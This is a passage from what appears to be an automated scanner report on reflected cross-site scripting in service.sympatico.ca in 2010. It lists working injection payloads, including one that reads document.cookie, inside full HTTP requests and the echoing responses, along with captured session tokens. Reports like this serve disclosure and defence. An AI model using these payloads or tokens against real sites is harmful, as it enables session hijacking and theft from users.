Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:39 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:39 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/jquery.autocomplete.css6fbb6"><script>alert(1)</script>45ba4e4252a" />
...[SNIP]...

2.232. https://service.sympatico.ca/css/landing.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/landing.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ec8c"><script>alert(1)</script>e257afa079a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css8ec8c"><script>alert(1)</script>e257afa079a/landing.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.23.2010.SERVICE.BELL.CA=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617907830%3B; SMSESSION=RxPju1Fnl8M8/HakDRQhtu1rw2j0ZgInL9rkL/BnBVhjyt42PkiP1cGAflPIdaf0WcsMRVR3M4/vN0Yym41JIsP64rCkx0UYoXWdT7/ueAK8V8aU6Yl3dwoNKD4SA5vAsZ6pPcyLLHCipdw0wsOza/hJCVZahb9hxXJAbWvttNj5U/iRTvkH4+eDFrljD9slOcgK3Y/iElmJcz7id9E/04NN4LSXjACgM9Z+TRl9UFpu3v5REL+Oiv4vMyJTF6/ECXmh2A1e1a89WtfWMtleUTdNaKp0otf+gJkbrb65t3Nd040Rn8t4UA==; CFID=139007246; CFTOKEN=83522848; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=7E86934D%2D65B8%2DB1E2%2D5DA15C856F2469B7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=https%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F44bf1%22%3E%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3EHOYT%2ELLC%2ERESEACH%2EXSS%2EPC%2E11%2E23%2E2010%2ESERVICE%2EBELL%2ECA%3D1; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:25 GMT
Connection: close
Set-Cookie: SMSESSION=Sh2Dum83cD6lDS/7m80n7+LlUXABOAAcz3FuDT1Zuuh+VQEjYkVFKku3rAIkRb1ufdeadP5TYhr96wmJGp2WCideH8W+wrDmXxXSlDxVajw3eW76ckzsj+zH60K91xR+VIftFiz9FS8a7qS+lA/hgBQDJgq14aXti322xIxHstHBZM7EihO208EUTI8zVwvI9loWX25iq1t7J07s4mgKxTkBEyEFlbZAIypwWjKDMvHM1FkKM1gSmJDCTVPDh2N7GRGpe88lEVvOELq1ZSmezoH+//nqW5/gxfIgMEHttVEvCo03gmHRow==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:25 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:25 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:25 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:25 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:25 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:25 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:25 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:25 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:25 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:25 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css8ec8c"><script>alert(1)</script>e257afa079a/landing.css" />
...[SNIP]...

2.233. https://service.sympatico.ca/css/landing.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/landing.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e495e"><script>alert(1)</script>38367d75d72 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/landing.csse495e"><script>alert(1)</script>38367d75d72 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.23.2010.SERVICE.BELL.CA=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617907830%3B; SMSESSION=RxPju1Fnl8M8/HakDRQhtu1rw2j0ZgInL9rkL/BnBVhjyt42PkiP1cGAflPIdaf0WcsMRVR3M4/vN0Yym41JIsP64rCkx0UYoXWdT7/ueAK8V8aU6Yl3dwoNKD4SA5vAsZ6pPcyLLHCipdw0wsOza/hJCVZahb9hxXJAbWvttNj5U/iRTvkH4+eDFrljD9slOcgK3Y/iElmJcz7id9E/04NN4LSXjACgM9Z+TRl9UFpu3v5REL+Oiv4vMyJTF6/ECXmh2A1e1a89WtfWMtleUTdNaKp0otf+gJkbrb65t3Nd040Rn8t4UA==; CFID=139007246; CFTOKEN=83522848; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=7E86934D%2D65B8%2DB1E2%2D5DA15C856F2469B7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=https%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F44bf1%22%3E%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3EHOYT%2ELLC%2ERESEACH%2EXSS%2EPC%2E11%2E23%2E2010%2ESERVICE%2EBELL%2ECA%3D1; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:27 GMT
Connection: close
Set-Cookie: SMSESSION=MNcfR/MzCYUmh6c2jBfzlFSjIqMGqwmwrwbNrgnU8/Cf5JJk7dbMKG+CK8nQ5SqyJ7kWlq1hTNltav5Q5g4sZa8ndAHE8HjvDPREmMwYrtBnlHzIeZq6YJvkrmnO9q4mQ8aHQPofbSg1ybVMV5nyU3jHbV1XsbPyFv5GYdzIoaYkfjTqOhvVe+qChLj5TzUcez4tuSAe0X9ShO9DqKshe6hpWfOhEvbTsY3P6UzIQ1crOzvfeGY6cSOSBnAbNPfldI3dtIYN839JZYF9tlredSkqLAStuwVgd7nmH2L/dl+x3Yi9bA1ABA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:04:28 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:04:28 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/landing.csse495e"><script>alert(1)</script>38367d75d72" />
...[SNIP]...

2.234. https://service.sympatico.ca/css/minidashboard.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /css/minidashboard.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2174b"><script>alert(1)</script>2411e86a0eb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css2174b"><script>alert(1)</script>2411e86a0eb/minidashboard.css HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:04:19 GMT
Connection: close
Set-Cookie: SMSESSION=2z53giYOTVMNYKrp8/RMUg+xdFH+RZ94ypMpb3d0Ulh0LVKIniLVxse1y7q+rgH648dkUgKu4iFSYi4bZrhlQA5QRQWMHQBjZJDjbauyrIfxY9CNPKlZ0NuHAi3dFxTmIp2W05d33y5+O5eLSLI3AFjJh8QYVj4YUJ9pnlAGNz5vTKnO1+6CmRRgcBaO2qYVbixN3oQNkMs5v21vuXlaF6MwGHNmA/94WQkYvx2fyL693SZYs5ieAfLDadby3FJzGIr9XOYjbHWPun7uqXnMafoi4teUAZChXO2F3hLziAh4JcJbTMVQ0Q==; path=/
